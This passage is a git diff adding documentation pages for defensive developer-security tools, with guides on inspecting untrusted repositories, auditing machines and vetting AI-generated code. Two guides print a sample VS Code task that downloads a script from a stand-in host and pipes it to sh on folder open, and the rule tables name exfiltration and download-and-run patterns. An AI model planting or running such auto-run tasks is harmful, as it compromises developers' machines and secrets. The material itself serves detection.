diff --git a/README.md b/README.md index e899e3e..f3c1b03 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ npx am-i-hacked [![npm am-i-being-recorded](https://img.shields.io/npm/v/am-i-being-recorded?label=am-i-being-recorded)](https://www.npmjs.com/package/am-i-being-recorded) [![npm secure-semgrep](https://img.shields.io/npm/v/secure-semgrep?label=secure-semgrep)](https://www.npmjs.com/package/secure-semgrep) -**Status:** actively maintained, macOS and Linux. Current releases: `am-i-hacked` 2.0.1, `am-i-being-recorded` 1.0.0, `secure-semgrep` 1.0.1. The next `am-i-hacked` release adds a dark-corner system scan, a Python virtualenv integrity check and `--max-findings`; each package's changelog has the detail. Website: . +**Status:** actively maintained, macOS and Linux. Current releases: `am-i-hacked` 2.0.1, `am-i-being-recorded` 1.0.0, `secure-semgrep` 1.0.1. The next `am-i-hacked` release adds a dark-corner system scan, a Python virtualenv integrity check and `--max-findings`; each package's changelog has the detail. Website: , with [guides](https://isaacbell.github.io/secure-devtools/guides/) such as [how to inspect an untrusted repository](https://isaacbell.github.io/secure-devtools/guides/inspect-untrusted-repository/) and [how to check AI-generated code](https://isaacbell.github.io/secure-devtools/guides/ai-generated-code-security/). ## Tools diff --git a/docs/assets/site.css b/docs/assets/site.css new file mode 100644 index 0000000..223f9f6 --- /dev/null +++ b/docs/assets/site.css @@ -0,0 +1,214 @@ +@layer reset, tokens, base, components, utilities; + +@layer reset { + *, *::before, *::after { box-sizing: border-box; } + * { margin: 0; } + html { -webkit-text-size-adjust: 100%; } + body { min-height: 100svh; } + img, svg { display: block; max-width: 100%; } + button { font: inherit; color: inherit; } + a { color: inherit; } +} + +@layer tokens { + :root { + --bg: oklch(0.185 0.013 265); + --bg-elev: oklch(0.225 0.014 265); + --bg-code: oklch(0.145 0.015 265); + --border: oklch(0.325 0.016 265); + --text: oklch(0.94 0.006 265); + --muted: oklch(0.76 0.014 265); + --accent: oklch(0.82 0.16 160); + --accent-ink: oklch(0.18 0.02 265); + --focus: oklch(0.86 0.13 205); + --radius: 0.75rem; + + --sans: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; + --mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; + + --step--1: clamp(0.83rem, 0.8rem + 0.15vw, 0.9rem); + --step-0: clamp(1rem, 0.96rem + 0.2vw, 1.08rem); + --step-1: clamp(1.25rem, 1.15rem + 0.5vw, 1.5rem); + --step-2: clamp(1.6rem, 1.35rem + 1.2vw, 2.25rem); + --step-3: clamp(2.2rem, 1.6rem + 3vw, 3.5rem); + --step-4: clamp(2.8rem, 1.7rem + 5vw, 5rem); + } +} + +@layer base { + body { + font-family: var(--sans); + background: var(--bg); + color: var(--text); + font-size: var(--step-0); + line-height: 1.6; + min-height: 100svh; + overflow-x: clip; + } + h1, h2, h3 { font-weight: 650; line-height: 1.15; text-wrap: balance; } + p { text-wrap: pretty; } + code { font-family: var(--mono); } + a { text-underline-offset: 0.2em; } + :focus-visible { outline: 3px solid var(--focus); outline-offset: 3px; border-radius: 4px; } + ::selection { background: var(--accent); color: var(--accent-ink); } +} + +@layer components { + .wrap { width: min(100% - 2rem, 68rem); margin-inline: auto; } + + .skip { + position: absolute; inset-inline-start: 1rem; inset-block-start: -3rem; + padding: 0.5rem 1rem; background: var(--accent); color: var(--accent-ink); border-radius: 999px; + } + .skip:focus { inset-block-start: 0.5rem; } + + .site-header { border-block-end: 1px solid var(--border); } + .site-header .wrap { + display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; + gap: 0.25rem 1rem; min-height: 3.5rem; padding-block: 0.5rem; + } + .wordmark { font-family: var(--mono); font-weight: 700; font-size: var(--step-0); letter-spacing: -0.01em; text-decoration: none; } + .wordmark::before { content: "$ "; color: var(--accent); } + .site-nav { display: flex; flex-wrap: wrap; gap: 0 1rem; font-size: var(--step--1); } + .site-nav a { display: inline-flex; align-items: center; min-height: 2.75rem; color: var(--muted); text-decoration: none; } + .site-nav a[aria-current="page"] { color: var(--text); text-decoration: underline; text-decoration-color: var(--accent); } + + .hero { padding-block: clamp(3rem, 9vw, 7rem) clamp(2rem, 6vw, 4rem); } + .hero-inner { max-width: 46rem; } + h1 { font-size: var(--step-4); letter-spacing: -0.025em; } + h1 .hl { color: var(--accent); font-family: var(--mono); font-weight: 700; } + .lede { margin-block-start: 1.25rem; font-size: var(--step-1); color: var(--muted); max-width: 42rem; } + .lede strong { color: var(--text); font-weight: 600; } + .sub { margin-block-start: 1rem; color: var(--muted); max-width: 42rem; } + + .cmd { + display: flex; align-items: center; gap: 0.75rem; + max-width: 32rem; margin-block-start: 2rem; + padding: 0.35rem 0.35rem 0.35rem 1rem; + background: var(--bg-code); border: 1px solid var(--border); border-radius: 999px; + } + .cmd-pre { flex: 1 1 auto; min-width: 0; overflow-x: auto; } + .cmd-pre code { font-size: var(--step-0); white-space: pre; } + .alt { margin-block-start: 0.85rem; font-size: var(--step--1); color: var(--muted); } + .alt code { color: var(--text); } + + .actions { display: flex; flex-wrap: wrap; gap: 0.75rem; margin-block-start: 1.75rem; } + + .btn { + display: inline-flex; align-items: center; justify-content: center; gap: 0.5rem; + min-height: 2.75rem; padding-block: 0.5rem; padding-inline: 1.25rem; + border-radius: 999px; border: 1px solid transparent; + font: inherit; font-weight: 600; line-height: 1; text-decoration: none; cursor: pointer; + } + .btn--primary { background: var(--accent); color: var(--accent-ink); } + .btn--ghost { background: transparent; border-color: var(--border); color: var(--text); } + .copy { flex: 0 0 auto; padding-inline: 1rem; } + .copy[data-copied] { border-color: var(--accent); color: var(--accent); } + + .section { padding-block: clamp(2.5rem, 6vw, 4.5rem); } + .section-title { font-size: var(--step-2); } + .section-intro { margin-block-start: 0.75rem; color: var(--muted); max-width: 46rem; } + .caption { margin-block-start: 0.5rem; font-size: var(--step--1); } + + .cards { display: grid; grid-template-columns: minmax(0, 1fr); gap: 1rem; margin-block-start: 1.75rem; } + .card { min-inline-size: 0; background: var(--bg-elev); border: 1px solid var(--border); border-radius: var(--radius); padding: 1.5rem; } + .card h3 { font-size: var(--step-1); margin-block-end: 0.6rem; } + .card p { font-size: var(--step--1); } + .card-run { margin-block-start: 0.9rem; } + .card-run code { color: var(--text); } + .cards--guides .card h3 { font-size: var(--step-0); } + + .copyblock { + display: flex; align-items: flex-start; gap: 0.75rem; margin-block-start: 1rem; + padding: 0.7rem 0.7rem 0.7rem 1rem; + background: var(--bg-code); border: 1px solid var(--border); border-radius: var(--radius); + } + .code-pre { flex: 1 1 auto; min-width: 0; overflow-x: auto; } + .code-pre code { font-size: var(--step--1); white-space: pre; color: var(--text); } + + .checks { display: grid; grid-template-columns: 1fr; gap: 2.5rem; margin-block-start: 1.75rem; } + .check-col > h3 { font-size: var(--step-0); } + .check-col > p { font-size: var(--step--1); margin-block-start: 0.6rem; } + .checks-list { list-style: none; display: grid; gap: 0.7rem; margin-block-start: 1rem; padding: 0; } + .checks-list li { position: relative; padding-inline-start: 1.5rem; font-size: var(--step--1); color: var(--muted); } + .checks-list li::before { + content: "→"; position: absolute; inset-inline-start: 0; inset-block-start: 0; + color: var(--accent); font-family: var(--mono); + } + + /* Subpages */ + .crumbs { padding-block-start: 1.5rem; font-size: var(--step--1); color: var(--muted); } + .crumbs ol { list-style: none; display: flex; flex-wrap: wrap; gap: 0.25rem 0.5rem; padding: 0; } + .crumbs li + li::before { content: "/"; margin-inline-end: 0.5rem; color: var(--border); } + .page-head { padding-block: 1.5rem 1.25rem; max-width: 50rem; } + .page-head h1 { font-size: clamp(1.9rem, 1.4rem + 2.6vw, 3.25rem); } + .byline { margin-block-start: 0.85rem; font-size: var(--step--1); } + .answer { + max-width: 46rem; padding: 1rem 1.25rem; + background: var(--bg-elev); border: 1px solid var(--border); border-inline-start: 4px solid var(--accent); + border-radius: var(--radius); + } + + .prose { max-width: 46rem; margin-block-start: 1.5rem; } + .prose > * + * { margin-block-start: 1rem; } + .prose h2 { margin-block-start: 2.5rem; font-size: var(--step-2); } + .prose h3 { margin-block-start: 1.75rem; font-size: var(--step-1); } + .prose ul, .prose ol { padding-inline-start: 1.4rem; } + .prose li + li { margin-block-start: 0.4rem; } + .prose li > ul, .prose li > ol { margin-block-start: 0.4rem; } + .prose :not(pre) > code, .answer code, .card code, .lede code, .sub code, .checks-list code { + padding: 0.08em 0.35em; background: var(--bg-code); border: 1px solid var(--border); border-radius: 4px; + font-size: 0.92em; overflow-wrap: anywhere; + } + pre.block { + padding: 1rem; background: var(--bg-code); border: 1px solid var(--border); border-radius: var(--radius); + overflow-x: auto; font-size: var(--step--1); line-height: 1.55; + } + pre.block code { white-space: pre; } + .note { padding: 0.85rem 1.1rem; border: 1px dashed var(--border); border-radius: var(--radius); font-size: var(--step--1); color: var(--muted); } + + .table-wrap { overflow-x: auto; } + table { border-collapse: collapse; width: 100%; font-size: var(--step--1); } + th, td { padding: 0.6rem 0.75rem; border-block-end: 1px solid var(--border); text-align: start; vertical-align: top; } + thead th { color: var(--muted); font-weight: 600; } + + .related { max-width: 46rem; margin-block-start: 3rem; padding-block-start: 1.5rem; border-block-start: 1px solid var(--border); } + .related h2 { font-size: var(--step-1); } + .related ul { margin-block-start: 0.75rem; padding-inline-start: 1.2rem; } + .related li + li { margin-block-start: 0.35rem; } + + .site-footer { border-block-start: 1px solid var(--border); margin-block-start: clamp(2.5rem, 6vw, 4.5rem); padding-block: 2rem; } + .site-footer .wrap { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; gap: 1rem; } + .footer-nav { display: flex; flex-wrap: wrap; gap: 0.25rem 1.5rem; } + .footer-nav a { display: inline-flex; align-items: center; min-height: 2.75rem; } +} + +@layer utilities { + .muted { color: var(--muted); } + .sr-only { + position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; + overflow: hidden; clip-path: inset(50%); white-space: nowrap; border: 0; + } +} + +@media (45rem <= width < 72rem) { + .cards { grid-template-columns: repeat(2, minmax(0, 1fr)); } + .cards--tools > :last-child { grid-column: 1 / -1; } + .checks { grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 2.5rem; } +} + +@media (width >= 72rem) { + .cards { grid-template-columns: repeat(3, minmax(0, 1fr)); } + .checks { grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 3rem; } + .checks--two { grid-template-columns: repeat(2, minmax(0, 1fr)); } +} + +@media (prefers-reduced-motion: no-preference) { + .btn, .card, .wordmark, .footer-nav a, .site-nav a { + transition: color 0.15s ease, background-color 0.15s ease, border-color 0.15s ease, transform 0.15s ease; + } + .btn:hover { transform: translateY(-1px); } + .btn--ghost:hover { border-color: var(--accent); color: var(--accent); } + .card:hover { border-color: var(--accent); transform: translateY(-2px); } + .wordmark:hover, .footer-nav a:hover, .site-nav a:hover { color: var(--accent); } +} diff --git a/docs/compare/index.html b/docs/compare/index.html new file mode 100644 index 0000000..ca9dd8f --- /dev/null +++ b/docs/compare/index.html @@ -0,0 +1,201 @@ + + + + + +am-i-hacked vs npm audit, Snyk, Semgrep and antivirus: what each catches + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

am-i-hacked vs npm audit, Semgrep and antivirus

+ +
+

They answer different questions, so use more than one. am-i-hacked looks for signs that a project or machine is under attack. secure-semgrep finds insecure code with static analysis. npm audit, OSV-Scanner and Snyk match dependency versions against published advisories. Antivirus matches known malware. None of them proves code is safe.

+
+

Side by side

+
+ + + + + + + + + +
ToolQuestion it answersMethodBlind spot
am-i-hackedDoes this project, or this machine, show signs of an attack?Reads source, config and persistence entries for attack indicatorsKnown-vulnerable dependency versions; installed node_modules; known malware signatures
secure-semgrepIs this code insecure?Semgrep static analysis with bundled AI-agent, bash and SSRF rules plus registry packsMalware indicators such as auto-run tasks and disguised payloads
quarantine-review skillHow do I inspect an untrusted repository without running it?A procedure for an AI agent: contain, scan, read as data, extract with provenanceOnly as good as the reading; it is a method, not a scanner
npm audit, OSV-Scanner, Snyk Open SourceDoes any dependency version have a published advisory?Match the lockfile against vulnerability databasesUnreported attacks; anything committed into your repository
Semgrep (alone)Does code match these rules?Pattern-based static analysisWhatever the chosen rules do not cover
Antivirus and EDRIs a known-malicious file or behavior present on this machine?Signatures, reputation and behavior monitoringSource-level tricks in a repository you have not run yet
+ +

Which to use when

+
    +
  • Before opening or running a repository you did not write: am-i-hacked, then read what it flags. See how to inspect an untrusted repository.
  • +
  • Before merging code you or an AI agent wrote: secure-semgrep, and your advisory scanner over the lockfile.
  • +
  • On every dev-server start and in CI: am-i-hacked and your advisory scanner. Both exit non-zero on findings.
  • +
  • When a machine might be compromised: am-i-hacked --system and am-i-being-recorded, alongside your antivirus or EDR, not instead of it.
  • +
+ +

Questions

+

Is am-i-hacked antivirus?

+

No. Antivirus matches files and behavior against known malware. am-i-hacked reads source code and configuration for warning signs of an attack, such as an editor task that runs on folder open or capture code paired with an exfiltration endpoint. It does not look up known malware, and a clean result does not prove safety.

+

Does am-i-hacked replace npm audit, OSV-Scanner or Snyk?

+

No. Those tools match dependency versions against published advisories. am-i-hacked looks for indicators in the code itself, including attacks committed into the repository or not yet reported. Run both.

+

What is the difference between am-i-hacked and secure-semgrep?

+

am-i-hacked looks for signs that code is malicious before you run it. secure-semgrep runs Semgrep static analysis to find insecure code you or an AI agent wrote, with bundled rules for AI-agent code, shell scripts and SSRF. They are complementary.

+

Is secure-semgrep a replacement for Semgrep?

+

No. It is a thin wrapper that needs semgrep installed. It adds bundled rules and picks Semgrep registry packs for your stack in one command.

+
+ +
+
+ + + + + diff --git a/docs/guides/ai-generated-code-security/index.html b/docs/guides/ai-generated-code-security/index.html new file mode 100644 index 0000000..ce32127 --- /dev/null +++ b/docs/guides/ai-generated-code-security/index.html @@ -0,0 +1,178 @@ + + + + + +Is AI-generated code safe to run? How to check code from an AI coding agent + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Is AI-generated code safe to run? How to check it first

+ +
+

Not automatically. An AI coding assistant can add a dependency you did not ask for, copy a setup command from an untrusted page, write config that runs on startup, or produce insecure code that calls a model. Before you run it, scan the project with npx am-i-hacked for malicious-code indicators and npx secure-semgrep . for insecure AI-agent, shell and SSRF patterns, then review every new dependency and config file yourself.

+
+

What goes wrong with AI-written code

+
    +
  • Dependencies you did not choose. Assistants sometimes suggest package names that do not exist or are near-misses of real ones. Attackers register those names. Check that every new dependency is the package you meant, with a real history.
  • +
  • Setup steps copied from somewhere else. curl ... | sh, a postinstall script, an editor task. An agent that browses can repeat what an untrusted page told it.
  • +
  • Config that runs code. Agent hooks, MCP server definitions, .claude/settings.json, .mcp.json and editor settings all start programs.
  • +
  • Insecure model-calling code. Hardcoded API keys, model output passed to exec, user input placed in a system prompt, no token limit.
  • +
  • Server code that fetches URLs without checking where they point. See SSRF.
  • +
+ +

How to check it

+
    +
  1. Scan for malicious-code indicators. From the project folder: +
    npx am-i-hacked
    + It reads the source and the project's own AI-tool config (.claude/settings*.json, .mcp.json) and exits 1 on findings. Add it in front of the dev server so it runs every time: +
    { "scripts": { "dev": "am-i-hacked && next dev" } }
    +
  2. +
  3. Scan for insecure AI-agent code. secure-semgrep runs Semgrep with bundled rules for LLM and agent code, plus Semgrep's own default and security-audit packs. It needs semgrep installed. +
    npx secure-semgrep .
    +npx secure-semgrep -L ts -L node .   # add the packs for your stack
    +
  4. +
  5. Review every new dependency by hand, and run your advisory scanner (npm audit, OSV-Scanner) over the lockfile.
  6. +
  7. Read every new config and script file the assistant created or changed: package.json scripts, *.config.*, editor tasks, agent hooks, CI workflows.
  8. +
  9. Check the machine the agent runs on with npx am-i-hacked --system, which reads user-level config for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code. See how to check a developer machine.
  10. +
+ +

What the secure-semgrep AI rules cover

+
+ + + + + + + + + +
AreaExamples of what is flagged
Model provider SDKs (OpenAI, Anthropic, Gemini, Cohere, Mistral, Hugging Face)Hardcoded API keys, user input in the system prompt, no max-tokens limit, missing refusal, moderation or safety checks, no error handling
Agent codeModel output passed to code execution, LangChain dangerous execution, an agent loop with no bound
MCP serversCommand injection in tool handlers, credentials returned in responses, hardcoded secrets in config, SSRF, tool poisoning, typosquatted tool names, unsanitized return values
Agent and editor settingsClaude Code settings that bypass permissions, auto-enable MCP servers or redirect the API URL; editor settings that point at an executable; hidden Unicode in AI config
Agent hookswget | bash, DNS exfiltration, path traversal, reading sensitive files, unconditional allow, relative script paths, unquoted variables
SKILL.md filesPrompt injection, data exfiltration, reading sensitive files, base64 payloads
+

Rules cover Python and TypeScript most fully, with Go, Java, Ruby and others for some checks. Every finding is a prompt to look, not a verdict.

+ +

Limits

+

Neither tool reads your intent. A scan finds known patterns; it does not prove that the code does what you asked or that it is safe. Neither tool scans installed dependencies in node_modules. Code review is still the check that matters.

+
+ +
+
+ + + + + diff --git a/docs/guides/audit-developer-machine/index.html b/docs/guides/audit-developer-machine/index.html new file mode 100644 index 0000000..1b909ec --- /dev/null +++ b/docs/guides/audit-developer-machine/index.html @@ -0,0 +1,173 @@ + + + + + +How to check whether your developer machine is compromised (macOS and Linux) + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to check whether your developer machine is compromised

+ +
+

Run npx am-i-hacked --system. It is a read-only audit that needs no root or sudo and makes no network calls. It checks login persistence (launchd on macOS, systemd user units and autostart on Linux) and the code signatures of what they launch, the crontab, shell startup files, AI coding tool config, and running processes. Pair it with npx am-i-being-recorded for screen-capture capability. Neither is antivirus: a clean result means no warning signs were found.

+
+

What the system scan checks

+
+ + + + + + + + + +
AreaWhat it looks for
Login persistencelaunchd agents and daemons on macOS; systemd user units and XDG autostart on Linux; the user crontab. The scripts those entries launch are read for clipboard, keystroke or screen capture and exfiltration endpoints.
Code signatures (macOS)A vendor-labelled login item signed by a Team ID the vendor does not use, or unsigned (HIGH); a signature that fails verification; unsigned programs in user-writable places
Shell startup filesRemote scripts piped to a shell, decoded payloads, DYLD_INSERT_LIBRARIES or LD_PRELOAD, TLS checks disabled, a forced NODE_OPTIONS --require, sudo or ssh replaced by an alias, a redirected AI API base URL, a proxy or extra certificate authority
AI coding tool configUser-level and managed settings for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code: permission bypass, redirected API URLs, plain-text keys, MCP servers that run unpinned code, and hooks that run from writable places or observe your prompts
Running processesInterpreters running capture scripts or scripts from staging areas such as Downloads, caches and /tmp
Dark corners (next release)Folders where tooling installs code outside any project: virtualenvs, pip and uv caches, pyenv, pipx, the npx cache, the pnpm store, cargo, bun, deno, go and gem bin folders
+ +

Run it

+
npx am-i-hacked --system             # the folder you are in, plus this machine
+npx am-i-hacked --system --verbose   # also list every login item with its signer
+npx am-i-being-recorded              # browser extensions that can capture the screen
+

The system scan needs bash 3.2+ and jq; it does not need ripgrep. It reads shell startup files and AI-tool config, which can hold secrets; it never prints secret values.

+ +

Reading the results

+
    +
  • HIGH and MEDIUM findings exit 1. INFO lines are context.
  • +
  • A finding you have reviewed and accept goes in ~/.config/am-i-hacked/host-allow.txt as <finding id> | <reason>. Allowed findings are listed on every run, never hidden.
  • +
  • For a single macOS login item you are unsure about, follow how to tell whether a login item is malware.
  • +
+ +

If something real turns up

+
    +
  1. Do not run the suspect script to see what it does.
  2. +
  3. Preserve evidence first: copy the plist or unit file and the program it runs, and record SHA-256 hashes and modification times.
  4. +
  5. Only then stop and remove the item.
  6. +
  7. If capture was involved, treat everything copied or typed since the item appeared as exposed. Rotate secrets from a different, clean device.
  8. +
+ +

Limits

+

It looks for warning signs; it is not antivirus and does not look up known malware. System-wide Linux units and /etc/cron.* are not covered yet. A clean result does not prove the machine is safe.

+
+ +
+
+ + + + + diff --git a/docs/guides/index.html b/docs/guides/index.html new file mode 100644 index 0000000..2013be9 --- /dev/null +++ b/docs/guides/index.html @@ -0,0 +1,171 @@ + + + + + +Developer security guides: untrusted repositories, AI-generated code, agent skills — secure-devtools + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Guides

+

Each guide answers one question completely: what the risk is, what to do step by step, what the tools catch, and what they do not.

+
+
+ + + +

How to catch a supply-chain attack that npm audit misses

npm audit, OSV-Scanner and Snyk match dependencies against published advisories. An attack committed into a repository, or one not yet reported, is invisible to them. How to add indicator-based checks with am-i-hacked to a dev script, a git pull and CI.

+ +

How to check whether your developer machine is compromised

A read-only audit of a macOS or Linux developer machine with am-i-hacked --system: login persistence and code signatures, crontab, shell startup files, AI coding tool config, running processes and the folders tooling installs code into.

+

Is this macOS login item or background item malware?

How to decide whether a macOS login item or "Background Items Added" entry is legitimate: map the name to its launchd plist, check the program's code signature and Team ID against the vendor, read script payloads without running them, and preserve evidence.

+

Which browser extension is recording my screen?

macOS says "Brave Browser is recording your screen" but not which tab or extension. am-i-being-recorded reads Chromium-family browser profiles and names the extensions that can capture the display or a tab.

+

How to prevent SSRF when your server fetches a user-supplied URL

A checklist for server-side request forgery (SSRF): allow only http and https on ports 80 and 443, resolve the host and reject every non-public address, follow redirects by hand, cap size and time, and connect to the address you checked. With hostile test inputs and Semgrep rules.

+
+
+
+ + + + + diff --git a/docs/guides/inspect-untrusted-repository/index.html b/docs/guides/inspect-untrusted-repository/index.html new file mode 100644 index 0000000..67204ed --- /dev/null +++ b/docs/guides/inspect-untrusted-repository/index.html @@ -0,0 +1,201 @@ + + + + + +How to safely inspect an untrusted GitHub repository before running it + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to safely inspect an untrusted repository before you run it

+ +
+

Treat the repository as data until you have checked it. Do not open it in an editor, install its dependencies, or run its scripts or tests. Download it to a throwaway folder, scan it with npx am-i-hacked <dir>, read every flagged file as plain text, and list the files that must never run. A clean scan means no warning signs were found; it does not prove the code is safe.

+
+

Why opening or installing is already running

+

Many attacks on developers do not wait for you to run the app. They start at an earlier step:

+
    +
  • Opening the folder. An editor task file such as .vscode/tasks.json can run a command as soon as the folder opens. See how to detect malicious editor config.
  • +
  • Installing dependencies. package.json lifecycle scripts (preinstall, postinstall, prepare) run during npm install.
  • +
  • Starting any tool. Config files such as vite.config.*, next.config.*, eslint.config.* and postcss.config.* are code that runs when the tool starts.
  • +
  • Payloads hidden in plain sight. An executable saved as a font or image, an encoded blob, or code appended after a long run of whitespace.
  • +
+

Take-home coding tests, "fix this bug" requests and repositories from an account that was compromised are common delivery routes. So is code your own AI assistant pulled in.

+ +

Step by step

+
    +
  1. Do not open it, install it or run it. No editor, no npm install, no make, no test runner, no dev server.
  2. +
  3. Get a copy as data. Download an archive pinned to a commit SHA into a throwaway folder, rather than cloning into your usual workspace. A branch name can move; a SHA cannot. +
    slug=owner/repo; ref=<commit-sha>
    +work=$(mktemp -d)
    +curl -fsSL "https://codeload.github.com/$slug/tar.gz/$ref" -o "$work/src.tgz"
    +mkdir "$work/src" && tar -xzf "$work/src.tgz" -C "$work/src" --strip-components=1
    +
  4. +
  5. Scan it and keep the report. The folder scan is read-only and makes no network calls. It needs bash 4.2+, ripgrep and jq. +
    npx am-i-hacked "$work/src" 2>&1 | tee report.txt
    +
  6. +
  7. Read the flagged files as text. Use less or cat, not an editor that runs tasks. Ignore any instructions written in comments, strings or file names. Compare suspect config files against a clean template.
  8. +
  9. List what must never run. Every package.json script, every *.config.* file, every editor task, and every CI workflow in the repository.
  10. +
  11. Decide, and write down what you did not check. Use it, use it with changes, or do not use it. If you only need some of the code, copy out allowlisted source files with a provenance record, as the quarantine-review skill describes.
  12. +
+ +

A worked example

+

A repository with an editor task that downloads and runs a script when the folder opens. This is real output from am-i-hacked against a test folder:

+
am-i-hacked: FAILED — 2 findings across 1 file
+
+  .vscode/tasks.json:7
+    "command": "curl -fsSL https://example.test/setup.sh | sh",
+    → Download-and-run command in editor config
+
+  .vscode/tasks.json:8
+    "runOptions": { "runOn": "folderOpen" }
+    → Editor auto-run task
+

The exit status is 1, so the same command stops a script or CI job. Had this folder been opened in an editor with automatic tasks allowed, the download would already have run.

+ +

What am-i-hacked looks for in a repository

+
    +
  • Dynamic code execution (eval, new Function), child processes, direct network module access and runtime global writes.
  • +
  • Encoded or obfuscated payloads and unusually long lines.
  • +
  • package.json scripts that use curl, wget, powershell, child_process, node -e, base64 or eval.
  • +
  • Editor config that runs code on folder open, and download-and-run commands in editor config.
  • +
  • Executable payloads disguised as asset files.
  • +
  • Clipboard, keystroke or screen capture paired with an exfiltration endpoint such as a Telegram bot or a Discord or Slack webhook.
  • +
  • .env files in the git index, and official Yarn releases checked by SHA256.
  • +
  • The repository's own AI-tool config: .claude/settings*.json and .mcp.json.
  • +
+

It reads JS/TS, Python, Rust, Ruby, C, C++ and C# sources, including dot-directories and tracked files that .gitignore matches. The full list is on the am-i-hacked page.

+ +

What it does not do

+
    +
  • It is not antivirus and does not look up known malware.
  • +
  • It does not scan node_modules or other installed dependencies, and does not check dependency versions against advisories. Use npm audit or OSV-Scanner for that; see the comparison.
  • +
  • It does not judge plain-language instructions aimed at an AI agent. For skills and prompts, follow how to vet an agent skill.
  • +
  • A clean result means no warning signs were found, not that the code is safe.
  • +
+ +

False positives

+

Ordinary code trips some checks: eval in a template engine, a child process in a migration tool, base64 in export code. A real indicator lines up with an execution path, an auto-run setting or a config file that has no reason to exist. When you have checked a line and it is fine, mark it with a reason; it stays listed as reviewed on every run:

+
const decoded = atob(header); // am-i-hacked-ignore: decodes a request header, not a payload
+ +

For repositories you already work in

+

safe-pull, installed with am-i-hacked, fetches incoming commits and inspects them before anything is written to your working tree, then fast-forwards. It flags a force-pushed upstream, an author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads and committed .env files. Run safe-pull --dry-run to inspect without merging.

+
+ +
+
+ + + + + diff --git a/docs/guides/macos-login-items/index.html b/docs/guides/macos-login-items/index.html new file mode 100644 index 0000000..5d792c2 --- /dev/null +++ b/docs/guides/macos-login-items/index.html @@ -0,0 +1,170 @@ + + + + + +Is this macOS login item or background item malware? How to check + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Is this macOS login item or background item malware?

+ +
+

The name in System Settings is the code signer, not the plist. Find the launchd plist behind it, read the program it runs, and verify that program's code signature and Team ID against the vendor's own apps on your machine. A valid vendor signature on a vendor-labelled entry closes the case. Anything unsigned, ad-hoc signed, failing verification or signed by the wrong team stays open. npx am-i-hacked --system --verbose does these checks for every login item at once.

+
+

"Background Items Added" is not an indicator by itself

+

macOS shows that notification whenever an item is registered. Vendor updaters re-register after every update. System Settings > General > Login Items & Extensions groups entries by the signing developer's name, and shows "Item from unidentified developer" when there is no valid Developer ID.

+ +

Check one item by hand

+
    +
  1. Find the plist. +
    ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons
    + Match on the vendor prefix (com.google.*) or a recent modification time.
  2. +
  3. Read it. plutil -p <plist>. Note Label, Program or ProgramArguments, RunAtLoad, KeepAlive and EnvironmentVariables. Red flags without any signature check: a com.apple.* label outside /System, DYLD_INSERT_LIBRARIES or NODE_OPTIONS in the environment, or a program that no longer exists.
  4. +
  5. Verify the signature of a compiled program: +
    codesign -dv --verbose=2 <program>
    +codesign --verify --deep --strict <program>
    +codesign -dv /Applications/<Vendor>.app 2>&1 | grep TeamIdentifier   # the vendor's real Team ID
    +
  6. +
  7. Read scripts without running them. If the program is /bin/sh or node, the payload is the script. Look for clipboard or screen capture (pbpaste, screencapture) paired with an exfiltration endpoint (api.telegram.org, Discord or Slack webhooks).
  8. +
+ +

Verdicts

+
+ + + + + + + + + +
EvidenceVerdict
Vendor label, valid signature, vendor Team IDLegitimate. Close.
Vendor label, another Team ID or unsignedHIGH: impersonation. Preserve and escalate.
Signature fails verificationMEDIUM: modified after signing.
Unsigned or ad-hoc, in Application Support, Caches, Downloads, /tmp or /Users/SharedMEDIUM: confirm you installed it.
Unsigned or ad-hoc elsewhere, such as Homebrew servicesINFO: usually developer tooling.
Capture paired with exfiltration in the scriptHIGH, whatever the signature.
+ +

Automate it

+
npx am-i-hacked --system --verbose
+

The verbose inventory lists every login item with its signer and Team ID, using the same severities as the table above. Expected Team IDs come from a table of vendors read from genuine apps, then from installed apps with the same bundle-id prefix. The login-item-triage skill walks an agent through the manual method, including which commands show an OS prompt.

+ +

Before you remove anything

+

Copy the plist and the program's folder, record their SHA-256 hashes and modification times, then stop the item with launchctl bootout. If capture was confirmed, rotate secrets from a clean device.

+
+ +
+
+ + + + + diff --git a/docs/guides/malicious-editor-config/index.html b/docs/guides/malicious-editor-config/index.html new file mode 100644 index 0000000..50e06d5 --- /dev/null +++ b/docs/guides/malicious-editor-config/index.html @@ -0,0 +1,180 @@ + + + + + +How to detect malicious VS Code tasks that run when a folder opens + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to detect malicious VS Code tasks that run when a folder opens

+ +
+

VS Code, and editors built on it such as Cursor, can run a task automatically when a folder opens if .vscode/tasks.json sets "runOn": "folderOpen". A malicious repository uses this to run a download-and-execute command the moment you look at it. Before opening an unfamiliar folder, scan it with npx am-i-hacked <dir>, which flags editor auto-run tasks and download-and-run commands in editor config, and keep Workspace Trust turned on.

+
+

How the attack works

+

A task file in the repository defines a shell command and asks the editor to run it on folder open:

+
{
+  "version": "2.0.0",
+  "tasks": [
+    {
+      "label": "setup",
+      "type": "shell",
+      "command": "curl -fsSL https://example.test/setup.sh | sh",
+      "runOptions": { "runOn": "folderOpen" }
+    }
+  ]
+}
+

Real examples hide the command better: a long line pushed off screen with whitespace, a script saved under a font or image name, or a task that only runs a harmless-looking node file which does the work. The repository is often presented as a take-home coding test or a bug to fix, so that you open it.

+ +

How to spot it

+
    +
  • .vscode/tasks.json with "runOn": "folderOpen".
  • +
  • .vscode/settings.json that allows automatic tasks (task.allowAutomaticTasks) or points an extension setting at an executable inside the repository.
  • +
